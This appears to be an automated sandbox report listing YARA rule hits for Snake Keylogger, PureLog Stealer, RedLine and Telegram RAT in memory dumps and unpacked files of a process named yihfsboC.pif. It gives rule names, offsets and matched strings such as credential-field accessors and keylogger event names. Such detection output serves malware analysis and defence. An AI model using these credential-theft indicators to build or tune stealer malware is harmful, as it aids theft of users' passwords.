00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8f4a:$x1: $%SMTPDV$ 0x7874:$x2: $#TheHashHere%& 0x2cae4:$x2: $#TheHashHere%& 0x8eea:$x3: %FTPDV$ 0x7856:$x4: $%TelegramDv$ 0x2cabc:$x4: $%TelegramDv$ 0x8f12:$m2: Clipboard Logs ID 0x913e:$m2: Screenshot Logs ID 0x9258:$m2: keystroke Logs ID 0x9456:$m3: SnakePW 0x7310a:$m3: SnakePW 0x9114:$m4: \SnakeKeylogger\
Process Memory Space: yihfsboC.pif PID: 7240	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yihfsboC.pif PID: 7240	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: yihfsboC.pif PID: 7240	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: yihfsboC.pif PID: 7240	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2890c:$a1: get_encryptedPassword 0x3663d:$a1: get_encryptedPassword 0x18ef02:$a1: get_encryptedPassword 0x19f343:$a1: get_encryptedPassword 0x1d1be3:$a1: get_encryptedPassword 0x288e0:$a2: get_encryptedUsername 0x36611:$a2: get_encryptedUsername 0x18eed6:$a2: get_encryptedUsername 0x19f317:$a2: get_encryptedUsername 0x1d1bb7:$a2: get_encryptedUsername 0x289a4:$a3: get_timePasswordChanged 0x366d5:$a3: get_timePasswordChanged 0x18ef9a:$a3: get_timePasswordChanged 0x19f3db:$a3: get_timePasswordChanged 0x1d1c7b:$a3: get_timePasswordChanged 0x288bc:$a4: get_passwordField 0x365ed:$a4: get_passwordField 0x18eeb2:$a4: get_passwordField 0x19f2f3:$a4: get_passwordField 0x1d1b93:$a4: get_passwordField 0x28922:$a5: set_encryptedPassword
Process Memory Space: yihfsboC.pif PID: 7240	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x24cf3:$x5: KeyLoggerEventArgs 0x24d24:$x5: KeyLoggerEventArgs 0x24d64:$x5: KeyLoggerEventArgs 0x24d93:$x5: KeyLoggerEventArgs 0x32a24:$x5: KeyLoggerEventArgs 0x32a55:$x5: KeyLoggerEventArgs 0x32a95:$x5: KeyLoggerEventArgs 0x32ac4:$x5: KeyLoggerEventArgs 0x18b2e9:$x5: KeyLoggerEventArgs 0x18b31a:$x5: KeyLoggerEventArgs 0x18b35a:$x5: KeyLoggerEventArgs 0x18b389:$x5: KeyLoggerEventArgs 0x19b605:$x5: KeyLoggerEventArgs 0x19b636:$x5: KeyLoggerEventArgs 0x19b676:$x5: KeyLoggerEventArgs 0x19b6a5:$x5: KeyLoggerEventArgs 0x1cdfca:$x5: KeyLoggerEventArgs 0x1cdffb:$x5: KeyLoggerEventArgs 0x1ce03b:$x5: KeyLoggerEventArgs 0x1ce06a:$x5: KeyLoggerEventArgs 0x2007f4:$m2: Clipboard Logs ID
Process Memory Space: yihfsboC.pif PID: 7660	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yihfsboC.pif PID: 7660	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: yihfsboC.pif PID: 7660	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: yihfsboC.pif PID: 7660	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x5830:$a1: get_encryptedPassword 0x136de:$a1: get_encryptedPassword 0x951d9:$a1: get_encryptedPassword 0xda151:$a1: get_encryptedPassword 0xe89ff:$a1: get_encryptedPassword 0x5804:$a2: get_encryptedUsername 0x136b2:$a2: get_encryptedUsername 0x951ad:$a2: get_encryptedUsername 0xda125:$a2: get_encryptedUsername 0xe89d3:$a2: get_encryptedUsername 0x58c8:$a3: get_timePasswordChanged 0x13776:$a3: get_timePasswordChanged 0x95271:$a3: get_timePasswordChanged 0xda1e9:$a3: get_timePasswordChanged 0xe8a97:$a3: get_timePasswordChanged 0x57e0:$a4: get_passwordField 0x1368e:$a4: get_passwordField 0x95189:$a4: get_passwordField 0xda101:$a4: get_passwordField 0xe89af:$a4: get_passwordField 0x5846:$a5: set_encryptedPassword
Process Memory Space: yihfsboC.pif PID: 7660	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x1af2:$x5: KeyLoggerEventArgs 0x1b23:$x5: KeyLoggerEventArgs 0x1b63:$x5: KeyLoggerEventArgs 0x1b92:$x5: KeyLoggerEventArgs 0xfac5:$x5: KeyLoggerEventArgs 0xfaf6:$x5: KeyLoggerEventArgs 0xfb36:$x5: KeyLoggerEventArgs 0xfb65:$x5: KeyLoggerEventArgs 0x915c0:$x5: KeyLoggerEventArgs 0x915f1:$x5: KeyLoggerEventArgs 0x91631:$x5: KeyLoggerEventArgs 0x91660:$x5: KeyLoggerEventArgs 0xd6538:$x5: KeyLoggerEventArgs 0xd6569:$x5: KeyLoggerEventArgs 0xd65a9:$x5: KeyLoggerEventArgs 0xd65d8:$x5: KeyLoggerEventArgs 0xe4de6:$x5: KeyLoggerEventArgs 0xe4e17:$x5: KeyLoggerEventArgs 0xe4e57:$x5: KeyLoggerEventArgs 0xe4e86:$x5: KeyLoggerEventArgs 0x797aa:$m2: Clipboard Logs ID
Process Memory Space: yihfsboC.pif PID: 7924	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yihfsboC.pif PID: 7924	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: yihfsboC.pif PID: 7924	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
Process Memory Space: yihfsboC.pif PID: 7924	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x29d35:$a1: get_encryptedPassword 0x404ac:$a1: get_encryptedPassword 0xc8a42:$a1: get_encryptedPassword 0xd5a46:$a1: get_encryptedPassword 0x11fa22:$a1: get_encryptedPassword 0x29d09:$a2: get_encryptedUsername 0x40480:$a2: get_encryptedUsername 0xc8a16:$a2: get_encryptedUsername 0xd5a1a:$a2: get_encryptedUsername 0x11f9f6:$a2: get_encryptedUsername 0x29dcd:$a3: get_timePasswordChanged 0x40544:$a3: get_timePasswordChanged 0xc8ada:$a3: get_timePasswordChanged 0xd5ade:$a3: get_timePasswordChanged 0x11faba:$a3: get_timePasswordChanged 0x29ce5:$a4: get_passwordField 0x4045c:$a4: get_passwordField 0xc89f2:$a4: get_passwordField 0xd59f6:$a4: get_passwordField 0x11f9d2:$a4: get_passwordField 0x29d4b:$a5: set_encryptedPassword
Process Memory Space: yihfsboC.pif PID: 7924	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x2611c:$x5: KeyLoggerEventArgs 0x2614d:$x5: KeyLoggerEventArgs 0x2618d:$x5: KeyLoggerEventArgs 0x261bc:$x5: KeyLoggerEventArgs 0x3c893:$x5: KeyLoggerEventArgs 0x3c8c4:$x5: KeyLoggerEventArgs 0x3c904:$x5: KeyLoggerEventArgs 0x3c933:$x5: KeyLoggerEventArgs 0xc4d04:$x5: KeyLoggerEventArgs 0xc4d35:$x5: KeyLoggerEventArgs 0xc4d75:$x5: KeyLoggerEventArgs 0xc4da4:$x5: KeyLoggerEventArgs 0xd1e2d:$x5: KeyLoggerEventArgs 0xd1e5e:$x5: KeyLoggerEventArgs 0xd1e9e:$x5: KeyLoggerEventArgs 0xd1ecd:$x5: KeyLoggerEventArgs 0x11be09:$x5: KeyLoggerEventArgs 0x11be3a:$x5: KeyLoggerEventArgs 0x11be7a:$x5: KeyLoggerEventArgs 0x11bea9:$x5: KeyLoggerEventArgs 0x61852:$m2: Clipboard Logs ID
Click to see the 90 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
14.2.yihfsboC.pif.400000.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
26.2.yihfsboC.pif.2b4c0000.10.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
26.2.yihfsboC.pif.2b4c0000.10.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2b4c0000.10.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2b4c0000.10.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
26.2.yihfsboC.pif.2ae90f08.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2ae90f08.8.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2ae90f08.8.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.3.yihfsboC.pif.327be688.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.3.yihfsboC.pif.327be688.0.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.3.yihfsboC.pif.327be688.0.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
23.3.yihfsboC.pif.327be688.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.34860000.7.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.34860000.7.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34860000.7.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
23.2.yihfsboC.pif.34860000.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.34860000.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.34860000.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
23.2.yihfsboC.pif.34860000.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
26.2.yihfsboC.pif.2ae90000.9.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2ae90000.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
26.2.yihfsboC.pif.2ae90000.9.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
14.2.yihfsboC.pif.25d6b98e.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.25d6b98e.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.25d6b98e.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
14.2.yihfsboC.pif.25d6b98e.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
26.2.yihfsboC.pif.29915570.7.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.29915570.7.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x27b1d:$a1: get_encryptedPassword 0x27af1:$a2: get_encryptedUsername 0x27bb5:$a3: get_timePasswordChanged 0x27acd:$a4: get_passwordField 0x27b33:$a5: set_encryptedPassword 0x27900:$a7: get_logins 0x2403e:$a10: KeyLoggerEventArgs 0x2400d:$a11: KeyLoggerEventArgsEventHandler 0x279d4:$a13: _encryptedPassword
26.2.yihfsboC.pif.29915570.7.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x26365:$s1: UnHook 0x26301:$s2: SetHook 0x2633a:$s3: CallNextHook 0x262c9:$s4: _hook
23.2.yihfsboC.pif.35955570.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.35955570.9.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.35955570.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x61c35:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x61c09:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x61ccd:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x61be5:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x61c4b:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x61a18:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x5e156:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x5e125:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword 0x61aec:$a13: _encryptedPassword
23.2.yihfsboC.pif.35955570.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x6047d:$s1: UnHook 0x28101:$s2: SetHook 0x60419:$s2: SetHook 0x2813a:$s3: CallNextHook 0x60452:$s3: CallNextHook 0x280c9:$s4: _hook 0x603e1:$s4: _hook
14.2.yihfsboC.pif.27066478.12.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.27066478.12.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.27066478.12.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x60d2d:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x60d01:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x60dc5:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x60cdd:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x60d43:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x60b10:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x5d24e:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x5d21d:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword 0x60be4:$a13: _encryptedPassword
14.2.yihfsboC.pif.27066478.12.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x5f575:$s1: UnHook 0x271f9:$s2: SetHook 0x5f511:$s2: SetHook 0x27232:$s3: CallNextHook 0x5f54a:$s3: CallNextHook 0x271c1:$s4: _hook 0x5f4d9:$s4: _hook
21.2.Cobsfhiy.PIF.20805c08.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
14.2.yihfsboC.pif.285a0f08.13.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.285a0f08.13.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
14.2.yihfsboC.pif.285a0f08.13.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
23.2.yihfsboC.pif.3598e790.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
23.2.yihfsboC.pif.3598e790.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.3598e790.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
23.2.yihfsboC.pif.3598e790.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
23.2.yihfsboC.pif.35956478.10.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
23.2.yihfsboC.pif.35956478.10.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
23.2.yihfsboC.pif.35956478.10.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
26.2.yihfsboC.pif.2994e790.6.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
26.2.yihfsboC.pif.2994e790.6.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x26c15:$a1: get_encryptedPassword 0x26be9:$a2: get_encryptedUsername 0x26cad:$a3: get_timePasswordChanged 0x26bc5:$a4: get_passwordField 0x26c2b:$a5: set_encryptedPassword 0x269f8:$a7: get_logins 0x23136:$a10: KeyLoggerEventArgs 0x23105:$a11: KeyLoggerEventArgsEventHandler 0x26acc:$a13: _encryptedPassword
26.2.yihfsboC.pif.2994e790.6.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2545d:$s1: UnHook 0x253f9:$s2: SetHook 0x25432:$s3: CallNextHook 0x253c1:$s4: _hook
14.2.yihfsboC.pif.285a0000.14.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
14.2.yihfsboC.pif.285a0000.14.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
14.2.yihfsboC.pif.285a0000.14.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
